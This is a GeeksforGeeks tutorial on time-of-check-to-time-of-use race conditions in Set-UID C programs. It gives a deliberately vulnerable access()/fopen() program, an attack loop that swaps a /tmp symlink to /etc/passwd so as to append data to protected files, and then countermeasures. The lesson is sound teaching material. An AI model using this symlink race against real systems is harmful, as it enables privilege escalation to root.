Implementing Race Condition in C++ - GeeksforGeeks

21 Jan, 2021
Prerequisite – Race Condition Vulnerability
When two concurrent threads in execution access a shared resource in a way that it unintentionally produces different results depending on the timing of the threads or processes, this gives rise to a Race Condition.
In Simpler Words :If our privileged program (application with elevated access control) somehow also has a code block with race-condition vulnerability, then attackers can exploit this by running parallel processes which can “race” against our privileged program. If they attack with an intention to change its actual intended behaviour then this can cause Race Conditions (RC’s) in our program.
Example :
/* A Vulnerable Program */
int main() {
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    /* get user input */
    scanf("%50s", buffer );

    if(!access(fn, W_OK)){
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
}
Analysis of the User Program :
1. The program given above is an owned by root and is given that it’s a Set-UID program i.e. it’s a privilege program.
2. The function of the program is to append a string, inputted by the user, to the end of the file /tmp/XYZ which is created by us.
3. The given code runs with the root privilege hence this makes its effective user ID (euid) equal to 0. Which corresponds to a root hence it can overwrite any file.
4. Using access() system call, the program prevents itself from accidentally overwriting someone else’s file. It first checks whether the real user ID [uid] has the appropriate access permissions for the file /tmp/XYZ, with the access() call.
5. If the check turns out to be true and real user ID does actually have the privileges, then the program opens the file and appends the user’s input into the file.
6. There is an additional check present at the system call of fopen(), but it only checks the euid (effective user ID) rather than the uid (real user ID), and being a privileged program it is always satisfied because the program runs as a Set-UID program (privileged program) with euid of 0 (root user).
7. Now the actual point of error that can occur could be due to the time window between the check ‘access()’ and the use ‘fopen()’ of the file to be written. There is a large probability that the file used by access() system call is different from the file used by fopen() system call.
8. This is possible only if a malicious attacker can somehow make /tmp/XYZ a “symbolic link” to point to a protected file which is otherwise not accessible like /etc/shadow (which contains our passwords) within this time-of-check to the time-of-use window (TOCTOU window).
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
9. If successful the attacker can append the user input to the end of the /etc/shadow rather than the original target of the symlink, like the creation of a new root user with all privileges only by appending single statement to the shadow file.
10. Hence, this window can cause Race Condition Vulnerability. 
So, with the possibility of a context switching between two system call namely, access() and open() there is also a possibility of a Race Condition Vulnerability. 
Attacking Program Code :
#include<unistd.h>
int main(){
    while(1){
        unlink("/tmp/XYZ");
        symlink("/home/seed/myfile", "/tmp/XYZ");
        usleep(10000);

        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(10000);
        }
    return 0;
}
This program is intended to showcase the RC as by using usleep(10000), hence intentionally creating a TOCTOU window.
Here we are creating a symlink to a file (myfle) owned by us, a normal user, so to pass the access() check.
Then a window is generated so to sleep for 10000 microseconds to let our vulnerable process run.
Then it unlink the symlink and creates a symlink to /etc/passwd.
Counter Measures :
1. Applying the Principle of Least Privilege :According to the principle, we try De-Escalating the privileges of the file for all parts of a Set-UID program. Specially which do not require elevated privileges. For this, we use the geteuid and seteuid system calls to de-escalate and then re-escalate the privileges at the appropriate places in the vulnerable program.
2. Built-in Protection method for Ubuntu :
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
3. Repeated Checks for System Calls :Race Conditions are more probabilistic than deterministic (we can not determine when we would be able to get access to the file, it could happen during any instance within TOCTOU check window). Using Repeated checks on access() and open() system calls we can match the inode value of the file. While this value is the same in every check, we can say that the file is opened and if it’s different that means the file was changed, and we do not open it.
4. Atomic Operations : 
f = open(file, O_CREAT | O_EXCL)
If the file already exists then these two specifiers which are stated above will not open the specified file. Hence implementing atomicity of the check and the use of the file.
References & Source Code: SEED Labs, Syracuse University.
Process Synchronization
Technical Scripter 2020
Operating Systems
Operating Systems
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Memory Management in Operating System
File Allocation Methods
Logical and Physical Address in Operating System
Difference between Internal and External fragmentation
File Access Methods in Operating System
Memory Hierarchy Design and its Characteristics
File Systems in Operating System
Process Table and Process Control Block (PCB)
States of a Process in Operating Systems
Introduction of Process Management